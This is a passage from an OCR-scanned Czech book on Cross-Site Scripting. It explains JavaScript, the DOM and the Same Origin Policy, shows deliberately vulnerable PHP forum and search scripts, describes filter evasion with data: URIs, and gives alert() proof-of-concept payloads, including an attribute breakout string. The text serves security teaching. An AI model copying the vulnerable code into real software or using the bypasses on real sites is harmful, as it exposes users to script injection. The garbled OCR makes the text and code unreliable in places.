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Kapitola 1

Skriptovani

Dtive neZ se zmeme ¥novat samotné zranitelnosti XSS,
musime se podroBreansfit na skriptovaci jazyky na straklienta. Na &ch
je totiz zranitelnost Cross-Site Scripting (coz ieltadu znamena
LSkriptovani napi¢ siti) zalozena a bez nich by této zranitelnoskidy
nebylo.

Neni tomu tak davno, kdy webové stranky bylyieryy pouze
statickym textem a hypertextovymi odkazy. Naskediyly sice oziveny
grafikou, ale pesto nadale stavaly ¢isté statickymi. Neexistoval zadny
nastroj, ktery by umaidbval nenit obsah stranky v déb kdy byla natena
a zobrazena uzivateli. tRné dophky, na které jsme dnes na webovych
strankach zvykli (najklad hodiny zobrazujici na webové strance aktualni
&as, nebo rozbaleni roletového mertur@jeti kurzoru na wité misto), byly
v prvnich verzich Internetu utopii. Dnes unofe dynamiku webovych
stranek nefeberné mnozstvi nastfiojOd dynamického vyt¥éni stranek na
straré serveru, pes skriptovaci jazyky na strarklienta, které se dnes
prostednictvim Ajaxu stavaji jeStvice interaktivijSi, az nagiklad po
flashové multimedialni animac#, Java applety. Jak jsem vSak zminil o par
fadki vySe, je zranitelnost XSS zaloZzena na skriptovagzycich na stran
klienta, které jsou s@asti webovych prohlizé. V dalSim textu se proto
budu ¥novat prag jim.

Skriptovaci jazyky implementované do webovych brenvs
umoznily rozhybat obsah webovych stranek v reéln&se. Jako prvni
piiSla se svou implementaci skriptovaciho jazyka adbavého prohlize
spol&nost Netscape. Ta do svého prohi&emplementovala skriptovaci
jazyk zalozeny na ECMAScriptu a nazvala jej Javabonezansinovat
s programovacim jazykem Java). Naskeglj prevzaly také dalSi webové
browsery na trhu detrg Internet Exploreru. Do dneSniho dne se stale jedna
o nejroz&iersjSi a nefastji pouzivany skriptovaci jazyk pouZity fip
skriptovani na webovych strankach. Jako reakce haly pisSla od
Microsoftu na trh i jeho vlastnifpdstava o skriptovacich jazycich ve
webovém prohlizg v podol& skriptovaciho jazyka VBScript. Nikdy vSak
nedoslo k jeho implementaci i do ostatnich webovyawsefi a VBScript
tak zistal vysadou pouze Internet Exploreru. Existujésjeinozstvi dalSich
skriptovacich jazyk, které jsou viceéi méns ze strany webovych prohli&e
podporovany. Mezi trci webovych aplikaci si ovSem diky svému réesi



Skriptovani 11

a jednoduchosti ziskal své misto prdavaScript. Tomu se budu ze stejného
divodu W¥novat i ja vtéto knize a veSkeré zde uvedefi&lgnly budou
vytvoieny pra¥ v tomto skriptovacim jazyku.

Nesmime zapomenout zminit také to, Ze skriptovazyky jsou
vesneés jazyky interpretovanymi. Skripty tak ke svéméhb potebuji
n&jaky ten interpret jazyka, ktery bude jednotlivékpzy skriptu vykonéavat.
Pokud se vSak bavime o skriptovani na straebovych browsér; jsou
témito interprety pra¥ webové prohliZee, které interpret jazyka obsahuiji.

Se stejnymi skriptovacimi jazyky, o nichZz se na tmmmist
zminuji, se niizete setkat i jinde, neZ jen ve webovém probiiizéasto jsou
tyto jazyky implementovany doiznych samostatnych projékt Mohou
bézet na strah serveru podohinjako teba PHP& ASP, kde se staraji
o0 wyfizovani klientskych pozadaitknebo je mzete mit nainstalovany jako
samostatné interprety jazyka#ici pimo pod operanim systémem. Od
ostatnich verzi jsou vSak verze integrované do wggtio prohlizén
ochuzené odgkteré funkce, které by mohlygdstavovat bezpaostni rizika.
Pomoci skripi v prohliz&i tak nagiklad neni moznéigstupovat k obsahu
souboti uloZenych na disku, nebo ng data zapisovat.

Zbyva jeS¢ zodpowdet otazku, jakym zpsobem se skripty od
tvirca webovych aplikaci dostavaji k uzivatel. Existuje hned &kolik
moznosti vkladani skript do webovych strdnek, o nichZz se podrobn
rozepiSi v kapitole &nované JavaScriptu. Na tomto nigibuze uvedu, Ze
skripty se pedem dohodnutym #gobem vkladaji fimo do HTML kédu
webové stranky, nebo jsou do ni dodatenaitany z externich soubior
Jsou tak feneseny spoteé s webovou strankou a mohou s ni proto
okamzi& po svém n&eni z&it aktivré pracovat. Sotasre existuji také jista
omezeni (nafiklad v podok Same Origin Policy ktera jasa definuji
hranice objekt, ke kterym je jednotlivym skrigtn povolen pistup, a ke
kterym jiz nikoliv.

Skripty Zistavaji v Bhu nebo pipraveny k pouziti od chvile, kdy
jsou spoléné s webovou strankou tieeny webovym prohlizem, az do
chvile, kdy uzivatel fejde na jinou webovou stranku nebo kdy stranku se
skriptem uzake. V tom gipad dojde k odstra#ni skripti z pangti a neni
mozné je naddale vyuzivat. Na toto je ipbla myslet v fipadech, kdy je
zapotebi nechat skript dostupny pro dalSi akce, aletam¥ si prejeme
naist jinou webovou stranku.

JavaScript

Hned v Uvodu je pé¢ba sifici, Ze bez znalosti JavaScriptu,
ptipadré jiného skriptovaciho jazyka, se zadny zdfi&i a vyvoj&u, ktery
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chce vyzkousSet sofistikovgj$i Gtok a ne pouze nalézt zranitelné misto
v aplikaci, neobejde. Vifpack, Ze se naSim cilem stane pouze hledani
slabych mist v zabezpeni aplikace, vystdme sicasto pouze s metodou
objektu windowalert, kterou setasto demonstruje zranitelnost ve webové
aplikaci. Cim hlouksji v8ak do JavaScriptu proniknete a osvojite si
moznosti, které nam tento skriptovaci jazyk nabidin sloZigjSi

a sofistikovagjSi Utoky budete moci pro testovadiely vytvaet. Teprve

s dokonalym osvojenim skriptovaciho jazyka pochegkuténou silu Utok
XSS a pochopite, pége poteba se vyskytu této zranitelnosti ve webovych
aplikacich jednou provzdy zbavit. Jak jsem vSal jisar samotném Gvodu
této knihy, stale existuje velké mnoZstdh, ktgi z JavaScriptu znaji prév

a pouze metodualert a na zékladl toho soudi a poddeji veSkeré

zranitelnosti typu Cross Site Scripting.

Krom& samotného JavaScriptu famezi dalSi wci, které by mil
znat kazdy, kdo chce zranitelnosti XSS a jejichaigiistudovat, také jazyk
HTML, kterym je tvden obsah webové stranky. Dale je velniiedité
porozundt objektovému modelu dokumentu (Document Object &lod
DOM), skrz jehoz metody a vlastnosti jednotlivyclzliu pristupujeme
k samotnym objekim umisénym na webové strance. No a v neposledni
fackk vyuzijeme i znalost kaskadovych styCSS, které ovliiuji vzhled
webové stranky a s vyuzitim JavaScriptu i jeji cirdv

Vzhledem k tomu, Ze tato kniha neni a ani si neklad cil, byt
ucebnici uvedenych témat, dovoluji &ien&e se zajmem o jejich blizSi
studium odkazat naskterou z mnoha dostupnych publikaci, které se vguko
téchto témat primarhzabyvaji. V této knize vas pouze v kratkosti uveldu
problému, abyste #i alespai zakladni pedstavu, aiem to v nasledujicim
textu viast® piSi a dokazali si tak popisované postupy |éeelgtavit.

Samotny JavaScribtje maly, objekto¥ orientovany a hlawh
multiplatformni skriptovaci jazyk. Bohuzel jeho itementace neni ve vSech
prohliz&ich stoprocenthkompatibilni a je proto afas nutné pséat préizné
prohlize&e rmzné ¢asti kodu, nebo vyuzit ekterého z dostupnych JS
frameworki, ktery tyto drobné nekompatibilityfgklenuje. Nyni se vSak jiz
podivame na Zsoby, kterymi je mozné vkladat kéd JavaScriptu do
webovych stranek. éEhto zpisoli maji vyvoj&i k dispozici hned &kolik,
piicemz kazdy zfisob se vyuziva s jinym z&mnem.

! http://cs.wikipedia.org/wiki/JavaScript
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DOM

Béhem XSS utoku péebuje JavaScriptéasto pistupovat
k objektim na webové stranceri®avat je nebo ubirat &st nebo nnit
hodnoty jejich vlastnosti. Pokud je régad cilem aténého skriptu na
webové stranceigtist z @ihlaSovaciho formui®e zadavané jméno a heslo,
nebo pokud je jeho zamem zcela automaticky vyplnit a odeslagjaky
formul&:, pak zcela jist bude k jednotlivym polim formuté pistupovat nas
skript praé skrze DOM. V podstétje porozunini dokumentovému objektu
dokumentu v co mozna neépgi mie hlavnim pedpokladem pro psani
daleko vice nez ostatnim. St&jjako v ostatnich ipadech vSak nebudu
zabihat do fliSnych podrobnosti, protoze popsat podgobalé toto téma,
je nad ramec této knihy. Dopa@itivam vSak mohu ndfklad pkny seriél
DOM - objektovy model dokumerdd Jakuba Havla, ktery vySel na serveru
Zivé.cZ-

DOM je zkratka ZDocument Object Model je teba si ugdomit,
Ze samotny JavaScript by nam beg nebyl moc platny. Jedna se totiz
0 API (Application Programming Interfaceneboli programové rozhrani,
které umo#uje pistupovat k jednotlivym objekin na strdnce pomoci
programovacich prosdki, mezi které pat i ndS JavaScript. DOM definuje
natenou webovou stranku jako soubor objeke stromovou strukturou.
Diagram 1, znazawuje DOM rozvrzeni webové stranky, ktera obsahuje
v hlaviéce titulek stranky a ve svéndlé pak nadpis a formulase temi
vstupnimi prvky.

Jak je z diagramu patrné, jsou jednotlivé elemevetpové stranky
ve stromové strukte bulto nadazeny jinym objektm, jsou jinym
podiizeny nebo stoji na stejné drovni. V praxiésstji uziva vyra#, ze je
dany objektrodi¢ovskymneboli mate’skym objekterrpodiizeného objektu,
je dcainym objektemneboli ditétem, potomkem (childrennadazeného
objektu, nebo Ze jde sourozence (siblings)kteri stoji na stejné Urovni.
V diagramu 1 je tak ndjklad objektBody matéskym objektem prvk H1
aFORMa sougasre je potomkem objektti TML. Jednotlivé objektyNPUT
jsou v tomto pipac sourozenci.

! http:/iwww.zive.cz/autori/sc-44/default.aspx?pgradauthor=269
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‘ Diagram 1 - DOM rozvrzeni webové stranky |

HTML
HEAD BODY

([ iTLe ] | Hll ) | FO:?M )
I : ]

( meut ] [ npuT ] [ INPUT )

Ve vypise 11 naleznete zdrojovy koéd webové stranky
s formul&em, jejiz rozvrzeni DOM bylo zobrazeno v diagramiNa rém si
v nasledujicich fikladech ukazeme, jakym &gobem mizeme pistupovat
k vlastnostem a metodam jednotlivych objekiNejctive se ale jest
zastavime u vys¥leni pojmu uzel DOM a rozsfime si vySe uvedeny
diagram i o ostatni typythto uzi.

Vypis 11 - HTML kdéd webové stranky s formuld ~ fem

<html>
<head>
<title>P fihlaSovaci formula E</title>
</head>
<body>
<h1>P rihlaSeni k webové sluzb &</h1>
<form id="formld" name="formName" method="get" action="logon.php">
Jméno:
<input type="text" id="jmenold" name="jmenoNa me" value="">
Heslo:
<input type="password" id="heslold" name="hes loName" value="">
<input type="submit" id="tlacld" name="tlacNa me" value="P  zihlasit">
</form>
</body>
</html>

Jednotlivé elementy (tagy) webové stranky jsou milav uzly ve
stromové struktte DOM a definuji rozvrzeni webové stranky. Tytoyuzl
nazyvameuzly prvki nebolielement nodesVe vypisu 11 je tvid tyto tagy:
html, head, body, h1, forminput Kdyz se ovSem podivate poz&ravidite,
Ze zdrojovy kdéd neni twen pouze samotnymi tagy. Uvhikddu narazite
také naiizné texty, které nejsou mezi znaky < a > deny. VSechny tyto
texty jsou také uzly v DOM, ale nalezi méaktové uzlynebolitext nodes
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Ve vypisu 11 jsou textovymi uzly tytdetzce: PrihlaSovaci formuld
Prihlaseni k webové sluzbJméno:a Heslo: Z hlediska zfisobu pistupu

k jednotlivym prvkim nenajdeme mezi uzly prirka textovymi uzly velké
rozdily. Nutno vSak podotknout, Ze textové uzly oaou mit své dalSi
potomky. Poslednim typem uiz|sou uzly atributi neboli attribute nodes
Ty obsahuji veSkeré atributy, které popisuji sam@oaiementy webové
stranky. Ve vypise 11 jsodrhito uzly tyto atributy:type, id, name, action
avalue Uzly atribufi nezapadaji do struktury DOM tak, jako ostatni typy
uzla, ale jsou vzdy ppojeny k rekterému z u#l prvki. Z tohoto divodu se

k ttmto uzbhim pistupuje poskud odliSnym zjsobem.

Nesmim zapomenout zminit j&§eden dlezity uzel, kterym je
uzel dokumentu. Ten jeffpomen v jakémkoliv dokumentu, ktery je nahran
webovym prohlizéem a stoji vzdy na vrcholu celé hierarchie stromové
struktury DOM webové stranky. Objeklocumentmd rekolik dulezitych
vlastnosti a metod, které budegesto ve svych skriptech vyuzivat.

Pokud nyni roz$ime nas diagram s DOM rozvrzenim dokumentu
i 0 now popsané uzly, ziskdme nakres zobrazeny v diageamu

Diagram 2 - DOM rozvrzeni dokumentu se viemitypy u  zlda

Pro lepSi pedstavu o stromové struktudokumentu rivete vyuzit
nekterého z mnoha voéndostupnych prograin které byly za timto delem
vytvoieny. Vasi pozornosti dopatuji napiklad dophky pro FireFox:
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Same Origin Policy

Z vyse uvedenych kapitol tykajicich se JavaScrgpfDOM, musi
byt zZejmé, Ze jde o velice mocné nastroje, které dolabbsahem
webovych stranek provét nejrozlicngjSi akce. Nassti v JavaScriptu
existuji jistA omezeni, kterd v diych oblastech brani (toikaim ve
smrticich Gtocich na uZivatele. Jednim é&zhto omezeni je nemoZznost
zapisovat pomoci JavaScriptu data na disk nebg Zist obsah uloZenych
soubofi. Takova vlastnost by (aikim otewela moznost ziskani piné
kontroly nad peoitacem svych obti. Jediny zfisob, jak nize JavaScript
implementovany ve webovém prohkie€ist nebo zapisovat data na disku,
je pres soubory cookies. Je sice pravda, Zetase od casu vyskytnou
exploity, které zneuzivaji zranitelnosti webovyctovseti a dokazi tak
rizné soubory na uzivafel disk propaSovat, ale nésti je tchto gipadi
stale méa.

DalSi omezeni sgfva v pistupu k daim nebo k obsahu
webovych stranek z jiné domény. Toto omezeni seog®m Same Origin
Policy a je jednim ze zakladnich be#pestnich opdeni, které je
implementovano ve webovych prohkseh. Redstavte si, Ze by bylo mozné
pomoci JavaScriptu umésieho na webové straneeww.utocnastranka.cz
ptistupovat k obsahu strdnek z domény jiné, iikdgd na stranku
www.uzivateluvwebmail.czkde ma uZivatel nastaveno trvaléihpaSeni.
Pokud by nic netuSici uzivatel navstivil strankww.utocnastranka.cz
JavaScriptovy kéd na ni umdsty by mohl sdm v novém okmebo ve
skrytém ramu ota¥t webové stranky uZivatelova e-mailu
www.uzivateluvwebmail.c¥yuZzil by uzivatelova automatickéhdilplaseni
a na&etl a odeslal by z nich Gtnikovi obsah @vérnych informaci, které
jsou pod timto &em ve webmailu uloZeny. Nebyt omezeni v padSame
Origin Policy, jist¢ by byl takovyto scéfdamozny. Bezpénostni politika
Same Origin PolicyovS§em nekontroluje pouze&igtup na jinou doménu.
Aby byl pristup k objektu povolen musi se shodovat také, cuigta,
protokol a port, na kterém komunikace probiha. hitee 18 uvadim
nekolik piikladi, které jsou nebo nejsou s ohledem na harpsni pravidla
Same Origin Policypovoleny.

Diky tomu, ze bezgmostni politka Same Origin Policy
kontroluje mimo jiné i komunikani protokol, je zabramo také tomu, aby
mohli Gtadnici pristupovat k obsahu souligrjeZ je mozné ndst do
prohlize&ée z disku pomoci protokoldile:. NowjSi verze webovych
prohlize&u tento protokol dokonce omezuji v j&3€tSi mie a nepovoli tak
se na tento protokolibec odkazat, nebo jej pouZzit proctemi externiho
obsahu.
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Perzistentni XSS

Asi nejasgjSi a nejvice ietelné je rozéleni XSS (tok na
persistentni neboli trvalé a non-perzistentni nettatasné. V této kapitole
se budemednovat pra¢ trvalému - perzistentnimu typu XSS dtoku. Tento
vektor je nejsnaze pochopitelnym typem, a protmeme nés vyklad prév
jeho popisem. Aby mohl byt atok trvaly, je nutn@iit kéd JavaScriptu na
webovy server tak, aby se injektovany skripteths webovou strankou
vzdy, kdyz je tato zobrazena. Toto tvrzeni ovSerpoodje poslednimu
odstavci pedchozi kapitoly, ve kterém jsem u¥fdze @i XSS UGtoku
nezasahujeme do kddiloZenych na webovém serveru. Nyni to tedy trochu
uptesnim. Stij kdd JavaScriptuip perzistentnim XSS skute¢ nevkladame
do kodi webové aplikace, ale ukladdme jej do datového istibodané
aplikace. To znamena, Ze dojde k uloZeni naSichh kitdsouboru nebo do
databaze. Aplikace pak samahbm zobrazeni webové stranky tyto naSe
skripty p'ecte a zakomponuije je do vraceného obsahu HTML.

S timto typem Utoku se proto setkamecasgji v diskusnich
férech, komentdch podc¢lanky a vSude tam, kde maji uzivatelé moznost
ulozit trvale na webovy servergwrispsvek.

ProtoZe zatim stéle jen chodim okolo horké kaSeajase uvést si
konkrétni giklad zranitelné aplikace. Na&m si totiz nejlépe princip Utoku
vyswtlime. Ve vypise 18 najdete zdrojové kody webovéira, které je na
persistentni XSS nachylné.

Prvnic¢ast skriptu pebira hodnoty odeslané uzivatelem a uklada je
do souboruforum.txt Tato ¢ast neni z hlediska naSeho vykladtili®
dulezita. Za povSimnuti stoji pouze skirtest, Zze se zde neprovadi zadné
kontroly uzivatelského vstupu, a ten je tak do swubuloZzen pesrE ve
tvaru, v jakém jej uzivatel odeslal. Z pohledu X&hi poteba uzivatelska
data na vstupu oevat, i kdyz tak sktefi vyvojéi (dle mého nespraé
¢ini. Nen®li bychom ale zapominat na jiné typy zranitelnasti®li bychom
reagovat na vyskyt metaznakonkrétniho subsystému, kterému naséedn
tato data pedavame. Pokud tak n#nime, mize dojit napiklad k Gtoku
SQL injection pokud bychom za ulozi&haSich dat zvolili databazi.

Nasledujicicast skriptu ma za Ukol tist jednotlivé pispsvky
uZivatel ze souboru a zobrazit je na strance. T&st, ktera posila na
vystup data z uZivatelského vstupu, je z hledisE&SXitok velmi dilezita.
Aplikace by ngla vzdy kontrolovat a oSetvat vystup, jehoz hodnota mohla
byt vioZena nebo pozinéna ze strany uzivatele. V uvedeném vypise vSak
z pochopitelnych dvoda jakékoliv kontroly chybi a obsah souboru jénpo
ptedan funkciechq ktera jej viozi do obsahu HTML stranky.
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Vypis 18 - Zdrojovy kod zranitelného webového féra

<?php
$jmeno = $_POST["jmeno"]; $txt = $_POST["txt"];
if ($jmeno) {
file_put_contents("forum.txt", "<b>$jmeno:</b>$txt< br>\n", FILE_APPEND);
}

2>

<htmlI>
<head>
<meta http-equiv="Content-Language" content="cs ">
<meta http-equiv="Content-Type" content="text/h tml; charset=is0-8859-2">
<title>Diskuzni férum</title>
</head>
<body>
<h1>Diskuzni forum</h1>
<hr>
<?php
echo file_get_contents("forum.txt");
>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Text:</td>
<td><textarea name="txt" rows="3" cols="3 0"></textarea></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Odesli">
</tr>
</table>
</form>
</body>
</html>

Nyni si vevypise 1ukazeme zdrojovy kdd HTML stranky, kterou
vygeneruje nas skript po viozenikolika uzivatelskych fispsvkia. Webova
stranka tvéena uvedenym HTML kdédem je vtéto podomaitena
a zobrazena kazdému z navstiki naSeho diskusniho féra. Ve vypisu si
vSimnste hlavrg tuéng oznaenécasti, kterou tvéi obsah souboréorum.txt
s jednotlivymi gispivky uZivatet.

Vypis 19 - HTML kdd webové stranky s diskusnim fore  m

<html>
<head>
<meta http-equiv="Content-Language" content="cs ">
<meta http-equiv="Content-Type" content="text/h tml; charset=iso-8859-2">
<title>Diskuzni forum</title>
</head>
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<body>
<h1>Diskuzni férum</h1>
<hr>
<b>Petr:</b> Ahojte vSichni. Jak se mate?<br>

<b>Honza:</b>V &fim, Ze se mame dob  #e :)<br>

<b>Jirka:</b> To jsou zas keci.<br>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Text:</td>
<td><textarea name="txt" rows="3" cols="3
</tr>
<tr>
<td></td>
<td><input type="submit" value="Odesli">
</tr>
</table>
</form>
</body>
</html>

0"></textarea></td>

Nyni se zkuste zamyslet na tim, co se stane, kdixatel viozi
namisto Bzného pispivku nésledujici text obsahujici HTML tagy.

Toto je mij <u>pozdrav</u>

Po odeslani takovéhorippivku a po zobrazeni webové stranky

s nim, bude tato zobrazena tak, jak ukazuje ngstédereenshot. Vraceny
zdrojovy kéd této HTML stranky uvadim ve vypisu 20.

| Diskuzni férum

Diskuzni forum

(@ Diskuzni férum - Mozilla Firefox =HCil X
Soubor Upravy Zobrazeni Historie Zilotky Nastroje Mapoyéda
- C N % P - ([ httpsiwwwhackingvpraxi.cz/showphp vy | 3= Google P

Petr: Ahojte viichni. Jak se mate?
Honza: Véiim, Ze se mame dobie 3)
Jirka: To jsou zas keci

Roman: Toto je nmj pozdrav

Jméno:

Text:

Hotovo

#* % Tor Disabled i\ﬁ e
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Vypis 20 - HTML kd&d diskusniho féra s nasSimp  fisp évkem

<htmlI>
<head>
<meta http-equiv="Content-Language" content="cs ">
<meta http-equiv="Content-Type" content="text/h tml; charset=iso-8859-2">
<title>Diskuzni férum<f/title>
</head>
<body>
<h1>Diskuzni forum</h1>
<hr>
<b>Petr:</b> Ahojte vSichni. Jak se mate?<br>
<b>Honza:</b>V &#im, Ze se mame dob ¥e :)<br>
<b>Jirka:</b> To jsou zas keci.<br>
<b>Roman:</b>  [TotO eI USpOZIraVEIGSIN <0r>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno"></td>
</tr>
<tr>
<td>Text:</td>
<td><textarea name="txt" rows="3" cols="3 0"></textarea></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Odesli">
</tr>
</table>
</form>
</body>
</html>

Ceho si niiZzete na prvni pohled viimnout, je skutest, Ze je
slovo pozdravz nami vloZenéhoifspsvku vypsano podtrzenym pismem.
Zpasobil to HTML tag <u>, kterym jsme slovo v ifispivku obklopili.
Uvedeny piklad neni zatim pravym Cross-Site Scriptingemiqie Ehem
n&j nedoslo ke spui Zadného skriptu. Slo TML injection kterému se
budu v této knize také st vénovat. Jedné se o jakéhosi bitka XSS
a proto jsouasto ol tyto zranitelnosti pod Cross-Site Scriptingazovany.

Nyni si vSak na naSenfifladu diskusniho fora ukdzeme skinte
XSS tok, jimz spustime na webové strance nas pmyektovany skript.
V piipadech, kdy budeme pouze dokazovat, Ze je dary prveditelny,
nebudeme vytu@t zadné slozité skripty. Vystane si s jedinym flkazem
ato konkrétd s metodoualert objektu window o které jsem se jizitve
nékolikrat zminil. Tato metoda, ve chvili, kdy je wykana, zfpisobi
zobrazeni vystrazného okna. To nas bude informovaim, Ze doSlo ke
spuséni vioZzeného skriptu, coz jefgsré to, o co nam v naSich proof of
conceptech {gde. Zkusime tedy nyni do naSeho diskusniho foitl
nasledujici fispsvek:

<script>alert(/XSS/);</script>
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Direktiva data:

S direktivoudata? prisla jako prvni Mozilla. Jeji implementace se
pozdiji dostalo také webovym prohligéem Safari, Konqueror a Opera od
verze 7.20. Internet Explorer az do verze 7 tutekdivu nepodporoval
viibec a od verze 8 podporugata: pouze u obrazkv CSS.

Jeji pouziti je stejné jako u direktivjavascript: Je mozné ji
pouzit jak v odkazech, tak i jako zdroje externd@t u HTML tag. Pro
Utoénika je tato direktiva zajimava tim, Ze unioje diky pouzitému
kédovani znefehlednit Gtény kdd. Dokaze ale také obejit filtry zétané
na vyskyt slovascript a co je nejdlezZitjSi, neni tato direktiva stalerips
znama mezi twrci webovych aplikaci, kig¢ji proto ¢asto nemaji oSinu ve

svych bezpé&nostnich filtrech.

U direktivy data: se chvili pozdrzim a blize objasnim jeji vyznam
a syntaxi. Tato direktiva vznikla, aby vyvéjm umoznila pimé vkladani
jakychkoli dat pimo do HTML kédu webové stranky nebo CSS souboru
namisto toho, aby bylo nutné je dotahovat z extérrdoubol. Syntaxi
direktivy data: ukazuje vypis 53.

Vypis 53 - Syntaxe pouziti direktivy data:

data:[<mimetyp>][;base64],<data>

Mimetyp, ktery je prvnim parametrem této direktivyriuje
MIME typ? dat, které tvii samotny obsah. Z&pis této hodnoty se uvadi ve
tvarutyp/podtypa nejpouZzivagjsi z nich naleznete v tabulce 22.

Tabulka 22 - Nejpouzivan éjSi MIME typy

text/plaintext text v prosté neformatované podob &
text/html kéd v HTML formatu

text/xml text v XML formatu

text/css text ur eujici zdroj CSS

text/javascript kéd v JavaScriptu

image/gif zdroj obrazku ve forméatu gif

image/jpeg zdroj obrazku ve forméatu jpeg

Druhym, nepovinnym parametrem direktidgata: mizeme uit,
zda budou samotnéd data zakdédovana algoritmem BaSefw je casto
vyuzivano Bhem XSS Utok, protoZe toto zakdédovani pd#e snadno skryt
atoény kéd. Rivodre tato volba vznikla, aby umoznila vlozeni binarngtit,
které tvdi nagiklad obsah grafickych formi#t a které by jinak nebylo
mozné pomoci textovéhetzce vyjadit.

! https://developer.mozilla.org/en/data_URIs
2 http://www.iana.org/assignments/media-types/
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Bypass atribut G prvk G

Asi nefasgji se setkate se situaci, kdy je uZivatelsky vstup
vkladan do obsahu stranky jako hodnota atributlterého existujiciho
prvku. BZznou praxi je nafklad predvyphiovat formulde jiz jednou
zadanymi daty v ifpack, Ze dojde k jeho odeslani s chybmebo nelplé
vyplnénymi poli. V takové situaci aplikace jednou zadalaa sama vlozi
do vstupnich poli a uZivatele pouze pozada o pmviedpravy. Aplikace
ovSem ®kdy odeSlou ndmi vloZzena data na vystup bez jakékaintroly
a ut@nikam tak umozni injektdz a speif jejich skriptu. Uz jsme se s timto
typem zranitelnosti setkaly ¥iladu se zranitelnym webférentigoypassu
prvku textarea. Nyni se za&hime na neparovy prvekinput>, ktery
obsahuje vloZena data v atribwaiue

Vratme se nyni k naSemuikladu s oklegnym vyhledavéem
a mirre jej upravme. Namisto toho, aby se nas uZivatelskyp vkladal pi
odpowdi do textové ¥ty, vypiSe tentokrat pouze odpafs "Na vas dotaz
nebyly nalezeny zadné odpovidajici vysledky. Zkuystavit své zadani.
Druhou zménu provedeme v fedvyplreni pole pro zadani hledané fraze.
Vzdy, kdyz nyni &jaky rettzec odeSleme, vrati se tentoszpredvyplrén
v poli pro jeho zadani.

Ve vypisu 60 uvadim php skript, ktery plni vySe papou funkci
na strag serveru. Na nasledujicim screenshotu si pakete prohlédnout
vysledek po odeslani pozadavku na vyhledani gkabina.

Vypis 60 - Upraveny kéd vyhledava ¢e, ktery p fedvyplni vstupni pole

<?php
$dotaz = $_GET["dotaz"];
$vystup ="}
if ($dotaz!="") $vystup = "Na vas dotaz nebyly na lezeny zadné odpovidajici

vysledky. Zkuste upravit své zadani.";
2>

<html>

<head>
<meta http-equiv="Content-Language" content="cs ">
<meta http-equiv="Content-Type" content="text/h tml;

charset=iso-8 859-2">

<title>Webovy vyhledava e<l/title>

</head>

<body>
<h1>Webovy vyhledava &</h1>
<hr>
<?php echo $vystup; ?>
<hr>

<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz" value=" <?php echo $dotaz; ?> ">
<input type="submit" value="Hledej">
</form>
</body>
</html>
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@ Webowy vyhledavaé - Mozilla Firefox. SHIEN X
Soubor Upravy Zobrazeni Historie Zaloiky MNastroje Napovéda
- n % } -~ (] httpi/fwww.hackingvpraxiczfsearchz.ph 77 - | - Google P
| Webouy vyhledivai :
7 a— fval

Webovy vyhledavaé

Navés dotaz nebyly nalezeny zddné odpovidajici vysledky. Zkuste upravit své zaddni.

Zadej hiedanou frézi jetabina Hiedej
Hotovo # @ TorDisvled Ry ©

Po odeslani dat a zobrazeni odfmtivse niizete podivat na HTML
kod vracené webové stranky. Ten b§l mdpovidat tomu z vypisu 61.

Vypis 61 - Zdrojovy kéd webové stranky po vyhledani slova je Fabina
<htmlI>

<head>
<meta http-equiv="Content-Language" content="cs ">
<meta http-equiv="Content-Type" content="text/h tml; charset=is0-8859-2">
<title>Webovy vyhledava &<fitle>
</head>
<body>
<h1>Webovy vyhledava &</h1>
<hr>
Na vas dotaz nebyly nalezeny zadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>

<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz" value=" je tabina ">
<input type="submit" value="Hlede;">
</form>
</body>
</html>

Nezbyva, nez zkusit do vyhled&ea zadat na$ stary znamy
testovaciiettzec <script>alert(/XSS/);</script>a formul& odeslat. Pokud
jste aekavali, ze dojde (stejnjako u pedchozich tef) ke spudni
vloZeného skriptu a vyskb na nas vystrazné okno se zpravou /XSS/, jste
nyni mozna pekvapeni, Ze se tak nestalo. Ptomu tak je, sndze pochopite,
kdyz se podivate na zdrojovy kéd vracené webovinky. Uvadim jej ve
vypisu 62.
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Vypis 62 - Zdrojovy kdd webové stranky vyhledava  ée po zadani testovaciho skriptu

<html>
<head>
<meta http-equiv="Content-Language" content="cs >
<meta http-equiv="Content-Type" content="text’h tml; charset=iso-8859-2">
<title>Webovy vyhledava &<ltitle>
</head>
<body>
<h1>Webovy vyhledava &</h1>
<hr>
Na vas dotaz nebyly nalezeny zZadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz" value=" <script>alert(/XSS/);</script= ">
<input type="submit" value="Hledej">
</form>
</body>
</html>

Ve vypisu si niZzete vSimnout, Ze nas skript se vlozil jako obsah
atributu value textového pole uvnittagu <input>. ProtoZe jde o textovy
fetszec obklopeny uvozovkami, ktery je pouhou &mii jiného tagu, dojde
sice k jeho zobrazeni, nikoliv vSak k jeho intetpogze strany browseru.

Aby se nam spu&hi skriptu pod#lo i v takovémto pipack,
musime opt vytvorit bypass, ktery ndm umoZni vymanit se z kontextu
hodnoty atributu a v lepSintipac také ze samotného prvkuput O tom,
zda se nam podieopustit pouze kontext atributu nebo celého tagehoduji
pouzité bezpiostni mechanismy, které mohou #Seat vyskyt ikterych
nebezpeénych znak.

Nejprve si uvedeme bypass, kteryizeme pouZzit v fpads, ze
aplikace neoSéje zadné nebezpeé metaznaky a my tak ddeme
v injektovanéntetzci pouzit znaky uvozovek i ostrych zavorek. Abycho
se dokazaly vymanit z kontextu vstupniho pole, nillgghom ot nejprve
ukorxit fettzec tvdici hodnotu atributu a naslefim samotny HTML tag.
Teprve po tomto bypassu bychom mohli vlozit nadpskBypass v tomto
piipack vytvorime tak, Ze nas vstup @@me znakem uvozovky, pomoci
kterého se vyprostime z textovéhetizce tvdiciho hodnotu atributu.
Nasledovat bude ukeénvaci ostra zavorka, kterd uzake samotny HTML
tag. Celyfettzec, ktery nakonec vlioZime do pole pro vyhledaviandle mit
tuto podobu:

"><script>alert(/XSS/);</script>

Po odeslani uvedeného textu jiz ke spuiStnaSeho skriptu
